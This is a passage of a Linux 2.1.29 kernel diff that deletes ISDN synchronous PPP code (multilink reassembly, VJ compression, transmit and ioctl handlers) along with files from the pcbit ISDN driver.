printk(KERN_WARNING "isdn_ppp_receive, MP, detected overflow with sqno: %ld, last: %ld !!!\n", sqno, tseq); - else { - sqno += range; - is->last_link_seqno = sqno; - } - } else - is->last_link_seqno = sqno; - - for (min_sqno = LONG_MAX, lpq = net_dev->queue;;) { - long lls = ippp_table[lpq->ppp_slot]->last_link_seqno; - if (lls >= 0 && lls < min_sqno) - min_sqno = lls; - lpq = lpq->next; - if (lpq == net_dev->queue) - break; - } - if (min_sqno >= ippp_table[lpq->ppp_slot]->range) { /* OK, every link overflowed */ - int mask = ippp_table[lpq->ppp_slot]->range - 1; /* range is a power of 2 */ -#if 0 - isdn_ppp_cleanup_queue(net_dev, min_sqno); -#endif - isdn_ppp_mask_queue(net_dev, mask); - net_dev->ib.next_num &= mask; - { - struct sqqueue *q = net_dev->ib.sq; - while (q) { - q->sqno_start &= mask; - q->sqno_end &= mask; - } - } - min_sqno &= mask; - for (lpq = net_dev->queue;;) { - ippp_table[lpq->ppp_slot]->last_link_seqno &= mask; - lpq = lpq->next; - if (lpq == net_dev->queue) - break; - } - } - if ((BEbyte & (MP_BEGIN_FRAG | MP_END_FRAG)) != (MP_BEGIN_FRAG | MP_END_FRAG)) { - static int dmes = 0; - if( !dmes ) { - printk(KERN_DEBUG "ippp: trying ;) to fill mp_queue %d .. UNTESTED!!\n", lp->ppp_slot); - dmes = 1; - } - if ((sqno_end = isdn_ppp_fill_mpqueue(net_dev, &skb, BEbyte, &sqno, min_sqno)) < 0) { - net_dev->ib.modify = 1; /* block timeout-timer */ - isdn_ppp_cleanup_sqqueue(net_dev, lp, min_sqno); - net_dev->ib.modify = 0; - return; /* no packet complete */ - } - } else - sqno_end = sqno; - - if (is->debug & 0x40) - printk(KERN_DEBUG "min_sqno: %ld sqno_end %d next: %ld\n", min_sqno, sqno_end, net_dev->ib.next_num); - - /* - * MP buffer management .. reorders incoming packets .. - * lotsa mem-copies and not heavily tested. - * - * first check whether there is more than one link in the bundle - * then check whether the number is in order - */ - net_dev->ib.modify = 1; /* block timeout-timer */ - if (net_dev->ib.bundled && net_dev->ib.next_num != sqno) { - /* - * packet is not 'in order' - */ - struct sqqueue *q; - - q = (struct sqqueue *) kmalloc(sizeof(struct sqqueue), GFP_ATOMIC); - if (!q) { - net_dev->ib.modify = 0; - printk(KERN_WARNING "ippp/MPPP: Bad! Can't alloc sq node!\n"); - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - return; /* discard */ - } - q->skb = skb; - q->sqno_end = sqno_end; - q->sqno_start = sqno; - q->timer = jiffies + (ISDN_TIMER_1SEC) * 5; /* timeout after 5 seconds */ - - if (!net_dev->ib.sq) { - net_dev->ib.sq = q; - q->next = NULL; - } else { - struct sqqueue *ql = net_dev->ib.sq; - if (ql->sqno_start > q->sqno_start) { - q->next = ql; - net_dev->ib.sq = q; - } else { - while (ql->next && ql->next->sqno_start < q->sqno_start) - ql = ql->next; - q->next = ql->next; - ql->next = q; - } - } - } else { - /* - * packet was 'in order' .. push it higher - */ - net_dev->ib.next_num = sqno_end + 1; - isdn_ppp_push_higher(net_dev, lp, skb, -1); - } - isdn_ppp_cleanup_sqqueue(net_dev, lp, min_sqno); - net_dev->ib.modify = 0; - - } else - isdn_ppp_push_higher(net_dev, lp, skb, proto); - } else -#endif - isdn_ppp_push_higher(net_dev, lp, skb, -1); -} - -/* - * push frame to higher layers - * note: net_dev has to be master net_dev - */ -static void -isdn_ppp_push_higher(isdn_net_dev * net_dev, isdn_net_local * lp, struct sk_buff *skb, int proto) -{ - struct device *dev = &net_dev->dev; - struct ippp_struct *is = ippp_table[lp->ppp_slot]; - - if (proto < 0) { /* MP, oder normales Paket bei REJ_MP, MP Pakete gehen bei REJ zum pppd */ - if (skb->data[0] & 0x01) { /* is it odd? */ - proto = (unsigned char) skb->data[0]; - skb_pull(skb, 1); /* protocol ID is only 8 bit */ - } else { - proto = ((int) (unsigned char) skb->data[0] << 8) + (unsigned char) skb->data[1]; - skb_pull(skb, 2); - } - } - if (is->debug & 0x10) { - printk(KERN_DEBUG "push, skb %d %04x\n", (int) skb->len, proto); - isdn_ppp_frame_log("rpush", skb->data, skb->len, 32); - } - switch (proto) { - case PPP_IPX: /* untested */ - if (is->debug & 0x20) - printk(KERN_DEBUG "isdn_ppp: IPX\n"); - skb->dev = dev; - skb->mac.raw = skb->data; - skb->protocol = htons(ETH_P_IPX); - break; -#ifdef CONFIG_ISDN_PPP_VJ - case PPP_VJC_UNCOMP: - if (is->debug & 0x20) - printk(KERN_DEBUG "isdn_ppp: VJC_UNCOMP\n"); - if (slhc_remember(ippp_table[net_dev->local.ppp_slot]->slcomp, skb->data, skb->len) <= 0) { - printk(KERN_WARNING "isdn_ppp: received illegal VJC_UNCOMP frame!\n"); - net_dev->local.stats.rx_dropped++; - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - return; - } -#endif - case PPP_IP: - if (is->debug & 0x20) - printk(KERN_DEBUG "isdn_ppp: IP\n"); - skb->dev = dev; - skb->mac.raw = skb->data; - skb->protocol = htons(ETH_P_IP); - break; - case PPP_VJC_COMP: - if (is->debug & 0x20) - printk(KERN_DEBUG "isdn_ppp: VJC_COMP\n"); -#ifdef CONFIG_ISDN_PPP_VJ - { - struct sk_buff *skb_old = skb; - int pkt_len; - skb = dev_alloc_skb(skb_old->len + 40); - - SET_SKB_FREE(skb_old); - - if (!skb) { - printk(KERN_WARNING "%s: Memory squeeze, dropping packet.\n", dev->name); - net_dev->local.stats.rx_dropped++; - dev_kfree_skb(skb_old, 0 /* FREE_READ */ ); - return; - } - skb->dev = dev; - skb_put(skb, skb_old->len + 40); - memcpy(skb->data, skb_old->data, skb_old->len); - skb->mac.raw = skb->data; - pkt_len = slhc_uncompress(ippp_table[net_dev->local.ppp_slot]->slcomp, - skb->data, skb_old->len); - dev_kfree_skb(skb_old, 0 /* FREE_READ */ ); - if (pkt_len < 0) { - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - lp->stats.rx_dropped++; - return; - } - skb_trim(skb, pkt_len); - skb->protocol = htons(ETH_P_IP); - } -#else - printk(KERN_INFO "isdn: Ooopsa .. VJ-Compression support not compiled into isdn driver.\n"); - lp->stats.rx_dropped++; - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - return; -#endif - break; - default: - isdn_ppp_fill_rq(skb->data, skb->len, proto, lp->ppp_slot); /* push data to pppd device */ - SET_SKB_FREE(skb); - dev_kfree_skb(skb, 0 /* FREE_READ */ ); - return; - } - - netif_rx(skb); - /* net_dev->local.stats.rx_packets++; *//* done in isdn_net.c */ - /* Reset hangup-timer */ - lp->huptimer = 0; - - return; -} - -/* - * send ppp frame .. we expect a PIDCOMPressable proto -- - * (here: currently always PPP_IP,PPP_VJC_COMP,PPP_VJC_UNCOMP) - * - * VJ compression may change skb pointer!!! .. requeue with old - * skb isn't allowed!! - */ - -int -isdn_ppp_xmit(struct sk_buff *skb, struct device *dev) -{ - struct device *mdev = ((isdn_net_local *) (dev->priv))->master; /* get master (for redundancy) */ - isdn_net_local *lp, - *mlp; - isdn_net_dev *nd; - int proto = PPP_IP; /* 0x21 */ - struct ippp_struct *ipt, - *ipts; - - if (mdev) - mlp = (isdn_net_local *) (mdev->priv); - else { - mdev = dev; - mlp = (isdn_net_local *) (dev->priv); - } - nd = mlp->netdev; /* get master lp */ - ipts = ippp_table[mlp->ppp_slot]; - - if (!(ipts->pppcfg & SC_ENABLE_IP)) { /* PPP connected ? */ -#ifdef ISDN_SYNCPPP_READDRESS - if (!ipts->old_pa_addr) - ipts->old_pa_addr = mdev->pa_addr; - if (!ipts->old_pa_dstaddr) - ipts->old_pa_dstaddr = mdev->pa_dstaddr; -#endif - if (ipts->debug & 0x1) - printk(KERN_INFO "%s: IP frame delayed.\n", dev->name); - return 1; - } - switch (ntohs(skb->protocol)) { - case ETH_P_IP: - proto = PPP_IP; -#ifdef ISDN_SYNCPPP_READDRESS - if (ipts->old_pa_addr != mdev->pa_addr) { - struct iphdr *ipfr; - ipfr = (struct iphdr *) skb->data; - printk(KERN_DEBUG "IF-address changed from %lx to %lx\n", ipts->old_pa_addr, mdev->pa_addr); - if (ipfr->version == 4) { - if (ipfr->saddr == ipts->old_pa_addr) { - printk(KERN_DEBUG "readdressing %lx to %lx\n", ipfr->saddr, mdev->pa_addr); - ipfr->saddr = mdev->pa_addr; - } - } - } - /* dstaddr change not so improtant */ -#endif - break; - case ETH_P_IPX: - proto = PPP_IPX; /* untested */ - break; - default: - dev_kfree_skb(skb, FREE_WRITE); - printk(KERN_ERR "isdn_ppp: skipped frame with unsupported protocoll: %#x.\n", skb->protocol); - return 0; - } - - lp = nd->queue; /* get lp on top of queue */ - - if (lp->sav_skb) { /* find a non-busy device */ - isdn_net_local *nlp = lp->next; - while (lp->sav_skb) { - if (lp == nlp) - return 1; - nlp = nd->queue = nd->queue->next; - } - lp = nlp; - } - ipt = ippp_table[lp->ppp_slot]; - - lp->huptimer = 0; - - /* - * after this line .. requeueing in the device queue is no longer allowed!!! - */ - - if (ipt->debug & 0x4) - printk(KERN_DEBUG "xmit skb, len %d\n", (int) skb->len); - -#ifdef CONFIG_ISDN_PPP_VJ - if (proto == PPP_IP && ipts->pppcfg & SC_COMP_TCP) { /* ipts here? probably yes .. but this check again */ - struct sk_buff *new_skb; - - new_skb = dev_alloc_skb(skb->len); - if (new_skb) { - u_char *buf; - int pktlen; - - new_skb->dev = skb->dev; - SET_SKB_FREE(new_skb); - skb_put(new_skb, skb->len); - buf = skb->data; - - pktlen = slhc_compress(ipts->slcomp, skb->data, skb->len, new_skb->data, - &buf, !(ipts->pppcfg & SC_NO_TCP_CCID)); - - if (buf != skb->data) { /* copied to new buffer ??? (btw: WHY must slhc copy it?? *sigh*) */ - if (new_skb->data != buf) - printk(KERN_ERR "isdn_ppp: FATAL error after slhc_compress!!\n"); - dev_kfree_skb(skb, FREE_WRITE); - skb = new_skb; - } else { - dev_kfree_skb(new_skb, 0 /* FREE_WRITE */ ); - } - - skb_trim(skb, pktlen); - if (skb->data[0] & SL_TYPE_COMPRESSED_TCP) { /* cslip? style -> PPP */ - proto = PPP_VJC_COMP; - skb->data[0] ^= SL_TYPE_COMPRESSED_TCP; - } else { - if (skb->data[0] >= SL_TYPE_UNCOMPRESSED_TCP) - proto = PPP_VJC_UNCOMP; - skb->data[0] = (skb->data[0] & 0x0f) | 0x40; - } - } - } -#endif - - if (ipt->debug & 0x24) - printk(KERN_DEBUG "xmit2 skb, len %d, proto %04x\n", (int) skb->len, proto); - -#ifdef CONFIG_ISDN_MPP - if (ipt->mpppcfg & SC_MP_PROT) { - /* we get mp_seqno from static isdn_net_local */ - long mp_seqno = ipts->mp_seqno; - ipts->mp_seqno++; - nd->queue = nd->queue->next; - if (ipt->mpppcfg & SC_OUT_SHORT_SEQ) { - skb_push(skb, 3); - mp_seqno &= 0xfff; - skb->data[0] = MP_BEGIN_FRAG | MP_END_FRAG | (mp_seqno >> 8); /* (B)egin & (E)ndbit .. */ - skb->data[1] = mp_seqno & 0xff; - skb->data[2] = proto; /* PID compression */ - } else { - skb_push(skb, 5); - skb->data[0] = MP_BEGIN_FRAG | MP_END_FRAG; /* (B)egin & (E)ndbit .. */ - skb->data[1] = (mp_seqno >> 16) & 0xff; /* sequence number: 24bit */ - skb->data[2] = (mp_seqno >> 8) & 0xff; - skb->data[3] = (mp_seqno >> 0) & 0xff; - skb->data[4] = proto; /* PID compression */ - } - proto = PPP_MP; /* MP Protocol, 0x003d */ - } -#endif - skb_push(skb, 4); - skb->data[0] = 0xff; /* All Stations */ - skb->data[1] = 0x03; /* Unnumbered information */ - skb->data[2] = proto >> 8; - skb->data[3] = proto & 0xff; - - /* tx-stats are now updated via BSENT-callback */ - - if (ipts->debug & 0x40) { - printk(KERN_DEBUG "skb xmit: len: %d\n", (int) skb->len); - isdn_ppp_frame_log("xmit", skb->data, skb->len, 32); - } - if (isdn_net_send_skb(dev, lp, skb)) { - if (lp->sav_skb) { /* whole sav_skb processing with disabled IRQs ?? */ - printk(KERN_ERR "%s: whoops .. there is another stored skb!\n", dev->name); - dev_kfree_skb(skb, FREE_WRITE); - } else - lp->sav_skb = skb; - } - return 0; -} - -#ifdef CONFIG_ISDN_MPP - -static void -isdn_ppp_free_sqqueue(isdn_net_dev * p) -{ - struct sqqueue *q = p->ib.sq; - - p->ib.sq = NULL; - while (q) { - struct sqqueue *qn = q->next; - if (q->skb) { - SET_SKB_FREE(q->skb); - dev_kfree_skb(q->skb, 0 /* FREE_READ */ ); - } - kfree(q); - q = qn; - } - -} - -static void -isdn_ppp_free_mpqueue(isdn_net_dev * p) -{ - struct mpqueue *q = p->mp_last; - p->mp_last = NULL; - - while (q) { - struct mpqueue *ql = q->next; - SET_SKB_FREE(q->skb); - dev_kfree_skb(q->skb, 0 /* FREE_READ */ ); - kfree(q); - q = ql; - } -} - -static int -isdn_ppp_bundle(struct ippp_struct *is, int unit) -{ - char ifn[IFNAMSIZ + 1]; - long flags; - isdn_net_dev *p; - isdn_net_local *lp, - *nlp; - - sprintf(ifn, "ippp%d", unit); - p = isdn_net_findif(ifn); - if (!p) - return -1; - - isdn_timer_ctrl(ISDN_TIMER_IPPP, 1); /* enable timer for ippp/MP */ - - save_flags(flags); - cli(); - - nlp = is->lp; - - lp = p->queue; - p->ib.bundled = 1; - nlp->last = lp->last; - lp->last->next = nlp; - lp->last = nlp; - nlp->next = lp; - p->queue = nlp; - - ippp_table[nlp->ppp_slot]->unit = ippp_table[lp->ppp_slot]->unit; -/* maybe also SC_CCP stuff */ - ippp_table[nlp->ppp_slot]->pppcfg |= ippp_table[lp->ppp_slot]->pppcfg & - (SC_ENABLE_IP | SC_NO_TCP_CCID | SC_REJ_COMP_TCP); - - ippp_table[nlp->ppp_slot]->mpppcfg |= ippp_table[lp->ppp_slot]->mpppcfg & - (SC_MP_PROT | SC_REJ_MP_PROT | SC_OUT_SHORT_SEQ | SC_IN_SHORT_SEQ); -#if 0 - if (ippp_table[nlp->ppp_slot]->mpppcfg != ippp_table[lp->ppp_slot]->mpppcfg) { - printk(KERN_WARNING "isdn_ppp_bundle: different MP options %04x and %04x\n", - ippp_table[nlp->ppp_slot]->mpppcfg, ippp_table[lp->ppp_slot]->mpppcfg); - } -#endif - - restore_flags(flags); - return 0; -} - - -static void -isdn_ppp_mask_queue(isdn_net_dev * dev, long mask) -{ - struct mpqueue *q = dev->mp_last; - while (q) { - q->sqno &= mask; - q = q->next; - } -} - -static int -isdn_ppp_fill_mpqueue(isdn_net_dev * dev, struct sk_buff **skb, int BEbyte, long *sqnop, int min_sqno) -{ - struct mpqueue *qe, - *q1, - *q; - long cnt, - flags; - int pktlen, - sqno_end; - int sqno = *sqnop; - - q1 = (struct mpqueue *) kmalloc(sizeof(struct mpqueue), GFP_ATOMIC); - if (!q1) { - printk(KERN_WARNING "isdn_ppp_fill_mpqueue: Can't alloc struct memory.\n"); - save_flags(flags); - cli(); - isdn_ppp_cleanup_mpqueue(dev, min_sqno); - restore_flags(flags); - return -1; - } - q1->skb = *skb; - q1->sqno = sqno; - q1->BEbyte = BEbyte; - q1->time = jiffies; - - save_flags(flags); - cli(); - - if (!(q = dev->mp_last)) { - dev->mp_last = q1; - q1->next = NULL; - q1->last = NULL; - isdn_ppp_cleanup_mpqueue(dev, min_sqno); /* not necessary */ - restore_flags(flags); - return -1; /* -1 is not an error. Just says, that this fragment hasn't complete a full frame */ - } - for (;;) { /* the faster way would be to step from the queue-end to the start */ - if (sqno > q->sqno) { - if (q->next) { - q = q->next; - continue; - } - q->next = q1; - q1->next = NULL; - q1->last = q; - break; - } - if (sqno == q->sqno) - printk(KERN_WARNING "isdn_fill_mpqueue: illegal sqno received!!\n"); - q1->last = q->last; - q1->next = q; - if (q->last) { - q->last->next = q1; - } else - dev->mp_last = q1; - q->last = q1; - break; - } - -/* now we check whether we completed a packet with this fragment */ - pktlen = -q1->skb->len; - q = q1; - cnt = q1->sqno; - while (!(q->BEbyte & MP_END_FRAG)) { - cnt++; - if (!(q->next) || q->next->sqno != cnt) { - isdn_ppp_cleanup_mpqueue(dev, min_sqno); - restore_flags(flags); - return -1; - } - pktlen += q->skb->len; - q = q->next; - } - pktlen += q->skb->len; - qe = q; - - q = q1; - cnt = q1->sqno; - while (!(q->BEbyte & MP_BEGIN_FRAG)) { - cnt--; - if (!(q->last) || q->last->sqno != cnt) { - isdn_ppp_cleanup_mpqueue(dev, min_sqno); - restore_flags(flags); - return -1; - } - pktlen += q->skb->len; - q = q->last; - } - pktlen += q->skb->len; - - if (q->last) - q->last->next = qe->next; - else - dev->mp_last = qe->next; - - if (qe->next) - qe->next->last = q->last; - qe->next = NULL; - sqno_end = qe->sqno; - *sqnop = q->sqno; - - isdn_ppp_cleanup_mpqueue(dev, min_sqno); - restore_flags(flags); - - *skb = dev_alloc_skb(pktlen + 40); /* not needed: +40 for VJ compression .. */ - - if (!(*skb)) { - while (q) { - struct mpqueue *ql = q->next; - SET_SKB_FREE(q->skb); - dev_kfree_skb(q->skb, 0 /* FREE_READ */ ); - kfree(q); - q = ql; - } - return -2; - } - cnt = 0; - skb_put(*skb, pktlen); - while (q) { - struct mpqueue *ql = q->next; - memcpy((*skb)->data + cnt, q->skb->data, q->skb->len); - cnt += q->skb->len; - SET_SKB_FREE(q->skb); - dev_kfree_skb(q->skb, 0 /* FREE_READ */ ); - kfree(q); - q = ql; - } - - return sqno_end; -} - -/* - * check sq-queue, whether we have still buffered the next packet(s) - * or packets with a sqno less or equal to min_sqno - * net_dev: master netdevice , lp: 'real' local connection - */ -static void -isdn_ppp_cleanup_sqqueue(isdn_net_dev * net_dev, isdn_net_local * lp, long min_sqno) -{ - struct sqqueue *q; - - while ((q = net_dev->ib.sq) && (q->sqno_start == net_dev->ib.next_num || q->sqno_end <= min_sqno)) { - if (q->sqno_start != net_dev->ib.next_num) { - printk(KERN_DEBUG "ippp: MP, stepping over missing frame: %ld\n", net_dev->ib.next_num); -#ifdef CONFIG_ISDN_PPP_VJ - slhc_toss(ippp_table[net_dev->local.ppp_slot]->slcomp); -#endif - } - isdn_ppp_push_higher(net_dev, lp, q->skb, -1); - net_dev->ib.sq = q->next; - net_dev->ib.next_num = q->sqno_end + 1; - kfree(q); - } -} - -/* - * remove stale packets from list - */ -static void -isdn_ppp_cleanup_mpqueue(isdn_net_dev * dev, long min_sqno) -{ -#ifdef CONFIG_ISDN_PPP_VJ - int toss = 0; -#endif -/* z.z einfaches aussortieren gammeliger pakete. Fuer die Zukunft: - eventuell, solange vorne kein B-paket ist und sqno<=min_sqno: auch rauswerfen - wenn sqnomp_last; - while (q) { - if (q->sqno < min_sqno) { - if (q->BEbyte & MP_END_FRAG) { - printk(KERN_DEBUG "ippp: freeing stale packet!\n"); - if ((dev->mp_last = q->next)) - q->next->last = NULL; - while (q) { - ql = q->last; - SET_SKB_FREE(q->skb); - dev_kfree_skb(q->skb, 0 /* FREE_READ */ ); - kfree(q); -#ifdef CONFIG_ISDN_PPP_VJ - toss = 1; -#endif - q = ql; - } - q = dev->mp_last; - } else - q = q->next; - } else - break; - } -#ifdef CONFIG_ISDN_PPP_VJ - /* did we free a stale frame ? */ - if (toss) - slhc_toss(ippp_table[dev->local.ppp_slot]->slcomp); -#endif -} - -/* - * a buffered packet timed-out? - */ - -#endif - -void -isdn_ppp_timer_timeout(void) -{ -#ifdef CONFIG_ISDN_MPP - isdn_net_dev *net_dev = dev->netdev; - struct sqqueue *q, - *ql = NULL, - *qn; - - while (net_dev) { - isdn_net_local *lp = &net_dev->local; - if (net_dev->ib.modify || lp->master) { /* interface locked or slave? */ - net_dev = net_dev->next; - continue; - } - q = net_dev->ib.sq; - while (q) { - if (q->sqno_start == net_dev->ib.next_num || q->timer < jiffies) { - -#ifdef CONFIG_ISDN_PPP_VJ - /* did we step over a missing frame ? */ - if (q->sqno_start != net_dev->ib.next_num) - slhc_toss(ippp_table[lp->ppp_slot]->slcomp); -#endif - - ql = net_dev->ib.sq; - net_dev->ib.sq = q->next; - net_dev->ib.next_num = q->sqno_end + 1; - q->next = NULL; - for (; ql;) { - isdn_ppp_push_higher(net_dev, lp, ql->skb, -1); - qn = ql->next; - kfree(ql); - ql = qn; - } - q = net_dev->ib.sq; - } else - q = q->next; - } - net_dev = net_dev->next; - } -#endif -} - -/* - * network device ioctl handlers - */ - -static int -isdn_ppp_dev_ioctl_stats(int slot, struct ifreq *ifr, struct device *dev) -{ - struct ppp_stats *res, - t; - isdn_net_local *lp = (isdn_net_local *) dev->priv; - int err; - - res = (struct ppp_stats *) ifr->ifr_ifru.ifru_data; - err = verify_area(VERIFY_WRITE, res, sizeof(struct ppp_stats)); - - if (err) - return err; - - /* build a temporary stat struct and copy it to user space */ - - memset(&t, 0, sizeof(struct ppp_stats)); - if (dev->flags & IFF_UP) { - t.p.ppp_ipackets = lp->stats.rx_packets; - t.p.ppp_ierrors = lp->stats.rx_errors; - t.p.ppp_opackets = lp->stats.tx_packets; - t.p.ppp_oerrors = lp->stats.tx_errors; -#ifdef CONFIG_ISDN_PPP_VJ - if (slot >= 0 && ippp_table[slot]->slcomp) { - struct slcompress *slcomp = ippp_table[slot]->slcomp; - t.vj.vjs_packets = slcomp->sls_o_compressed + slcomp->sls_o_uncompressed; - t.vj.vjs_compressed = slcomp->sls_o_compressed; - t.vj.vjs_searches = slcomp->sls_o_searches; - t.vj.vjs_misses = slcomp->sls_o_misses; - t.vj.vjs_errorin = slcomp->sls_i_error; - t.vj.vjs_tossed = slcomp->sls_i_tossed; - t.vj.vjs_uncompressedin = slcomp->sls_i_uncompressed; - t.vj.vjs_compressedin = slcomp->sls_i_compressed; - } -#endif - } - copy_to_user(res, &t, sizeof(struct ppp_stats)); - return 0; - -} - -int -isdn_ppp_dev_ioctl(struct device *dev, struct ifreq *ifr, int cmd) -{ - int error; - char *r; - int len; - isdn_net_local *lp = (isdn_net_local *) dev->priv; - -#if 0 - printk(KERN_DEBUG "ippp, dev_ioctl: cmd %#08x , %d \n", cmd, lp->ppp_slot); -#endif - - if (lp->p_encap != ISDN_NET_ENCAP_SYNCPPP) - return -EINVAL; - - switch (cmd) { - case SIOCGPPPVER: - r = (char *) ifr->ifr_ifru.ifru_data; - len = strlen(PPP_VERSION) + 1; - error = verify_area(VERIFY_WRITE, r, len); - if (!error) - copy_to_user(r, PPP_VERSION, len); - break; - case SIOCGPPPSTATS: - error = isdn_ppp_dev_ioctl_stats(lp->ppp_slot, ifr, dev); - break; - default: - error = -EINVAL; - break; - } - return error; -} - -static int -isdn_ppp_if_get_unit(char *name) -{ - int len, - i, - unit = 0, - deci; - - len = strlen(name); - - if (strncmp("ippp", name, 4) || len > 8) - return -1; - - for (i = 0, deci = 1; i < len; i++, deci *= 10) { - char a = name[len - i - 1]; - if (a >= '0' && a <= '9') - unit += (a - '0') * deci; - else - break; - } - if (!i || len - i != 4) - unit = -1; - - return unit; -} - - -int -isdn_ppp_dial_slave(char *name) -{ -#ifdef CONFIG_ISDN_MPP - isdn_net_dev *ndev; - isdn_net_local *lp; - struct device *sdev; - - if (!(ndev = isdn_net_findif(name))) - return 1; - lp = &ndev->local; - if (!(lp->flags & ISDN_NET_CONNECTED)) - return 5; - - sdev = lp->slave; - while (sdev) { - isdn_net_local *mlp = (isdn_net_local *) sdev->priv; - if (!(mlp->flags & ISDN_NET_CONNECTED)) - break; - sdev = mlp->slave; - } - if (!sdev) - return 2; - - isdn_net_force_dial_lp((isdn_net_local *) sdev->priv); - return 0; -#else - return -1; -#endif -} - -int -isdn_ppp_hangup_slave(char *name) -{ -#ifdef CONFIG_ISDN_MPP - isdn_net_dev *ndev; - isdn_net_local *lp; - struct device *sdev; - - if (!(ndev = isdn_net_findif(name))) - return 1; - lp = &ndev->local; - if (!(lp->flags & ISDN_NET_CONNECTED)) - return 5; - - sdev = lp->slave; - while (sdev) { - isdn_net_local *mlp = (isdn_net_local *) sdev->priv; - if ((mlp->flags & ISDN_NET_CONNECTED)) - break; - sdev = mlp->slave; - } - if (!sdev) - return 2; - - isdn_net_hangup(sdev); - return 0; -#else - return -1; -#endif -} - -#if 0 -static struct symbol_table isdn_ppp_syms = -{ -#include - X(isdn_ppp_register_compressor), - X(isdn_ppp_unregister_compressor), -#include -}; -#endif Binary files linux-2.1.29/drivers/isdn/isdn_tty.h and linux/drivers/isdn/isdn_tty.h differ diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/Makefile linux/drivers/isdn/pcbit/Makefile --- linux-2.1.29/drivers/isdn/pcbit/Makefile Sun Apr 21 04:56:14 1996 +++ linux/drivers/isdn/pcbit/Makefile Wed Dec 31 19:00:00 1969 @@ -1,15 +0,0 @@ -L_OBJS := -M_OBJS := -O_OBJS := module.o edss1.o drv.o layer2.o capi.o callbacks.o - -O_TARGET := -ifeq ($(CONFIG_ISDN_DRV_PCBIT),y) - O_TARGET += pcbit.o -else - ifeq ($(CONFIG_ISDN_DRV_PCBIT),m) - O_TARGET += pcbit.o - M_OBJS += pcbit.o - endif -endif - -include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/drivers/isdn/pcbit/callbacks.c linux/drivers/isdn/pcbit/callbacks.c --- linux-2.1.29/drivers/isdn/pcbit/callbacks.c Sat May 10 18:17:37 1997 +++ linux/drivers/isdn/pcbit/callbacks.c Wed Dec 31 19:00:00 1969 @@ -1,356 +0,0 @@ -/* - * Copyright (C) 1996 Universidade de Lisboa - * - * Written by Pedro Roque Marques (roque@di.fc.ul.pt) - * - * This software may be used and distributed according to the terms of - * the GNU Public License, incorporated herein by reference. - */ - -/* - * callbacks for the FSM - */ - -#define __NO_VERSION__ - -#include - -#include -#include -#include - -#include -#include -#include -#include -#include - -#include - -#include - -#include "pcbit.h" -#include "layer2.h" -#include "edss1.h" -#include "callbacks.h" -#include "capi.h" - -ushort last_ref_num = 1; - -/* - * send_conn_req - * - */ - -void cb_out_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *cbdata) -{ - struct sk_buff *skb; - int len; - ushort refnum; - - -#ifdef DEBUG - printk(KERN_DEBUG "Called Party Number: %s\n", - cbdata->data.setup.CalledPN); -#endif - /* - * hdr - kmalloc in capi_conn_req - * - kfree when msg has been sent - */ - - if ((len = capi_conn_req(cbdata->data.setup.CalledPN, &skb, - chan->proto)) < 0) - { - printk("capi_conn_req failed\n"); - return; - } - - - refnum = last_ref_num++ & 0x7fffU; - - chan->callref = 0; - chan->layer2link = 0; - chan->snum = 0; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_CONN_REQ, refnum, skb, len); -} - -/* - * rcv CONNECT - * will go into ACTIVE state - * send CONN_ACTIVE_RESP - * send Select protocol request - */ - -void cb_out_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - isdn_ctrl ictl; - struct sk_buff *skb; - int len; - ushort refnum; - - if ((len=capi_conn_active_resp(chan, &skb)) < 0) - { - printk("capi_conn_active_req failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_CONN_ACTV_RESP, refnum, skb, len); - - - ictl.command = ISDN_STAT_DCONN; - ictl.driver=dev->id; - ictl.arg=chan->id; - dev->dev_if->statcallb(&ictl); - - /* ACTIVE D-channel */ - - /* Select protocol */ - - if ((len=capi_select_proto_req(chan, &skb, 1 /*outgoing*/)) < 0) { - printk("capi_select_proto_req failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_SELP_REQ, refnum, skb, len); -} - - -/* - * Disconnect received (actually RELEASE COMPLETE) - * This means we were not able to establish connection with remote - * Inform the big boss above - */ -void cb_out_3(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - isdn_ctrl ictl; - - ictl.command = ISDN_STAT_DHUP; - ictl.driver=dev->id; - ictl.arg=chan->id; - dev->dev_if->statcallb(&ictl); -} - - -/* - * Incoming call received - * inform user - */ - -void cb_in_1(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *cbdata) -{ - isdn_ctrl ictl; - unsigned short refnum; - struct sk_buff *skb; - int len; - - - ictl.command = ISDN_STAT_ICALL; - ictl.driver=dev->id; - ictl.arg=chan->id; - - /* - * ictl.num >= strlen() + strlen() + 5 - */ - - strcpy(ictl.parm.setup.phone, cbdata->data.setup.CallingPN); - strcpy(ictl.parm.setup.eazmsn, cbdata->data.setup.CalledPN); - ictl.parm.setup.si1 = 7; - ictl.parm.setup.si2 = 0; - ictl.parm.setup.plan = 0; - ictl.parm.setup.screen = 0; - -#ifdef DEBUG - printk(KERN_DEBUG "statstr: %s\n", ictl.num); -#endif - - dev->dev_if->statcallb(&ictl); - - - if ((len=capi_conn_resp(chan, &skb)) < 0) { - printk(KERN_DEBUG "capi_conn_resp failed\n"); - return; - } - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - pcbit_l2_write(dev, MSG_CONN_RESP, refnum, skb, len); -} - -/* - * user has replied - * open the channel - * send CONNECT message CONNECT_ACTIVE_REQ in CAPI - */ - -void cb_in_2(struct pcbit_dev * dev, struct pcbit_chan* chan, - struct callb_data *data) -{ - unsigned short refnum; - struct sk_buff *skb; - int len; - - if ((len = capi_conn_active_req(chan, &skb)) < 0) { - printk(KERN_DEBUG "capi_conn_active_req failed\n"); - return; - } - - - refnum = last_ref_num++ & 0x7fffU; - chan->s_refnum = refnum; - - printk(KERN_DEBUG "sending MSG_CONN_ACTV_REQ\n"); - pcbit_l2_write(dev, 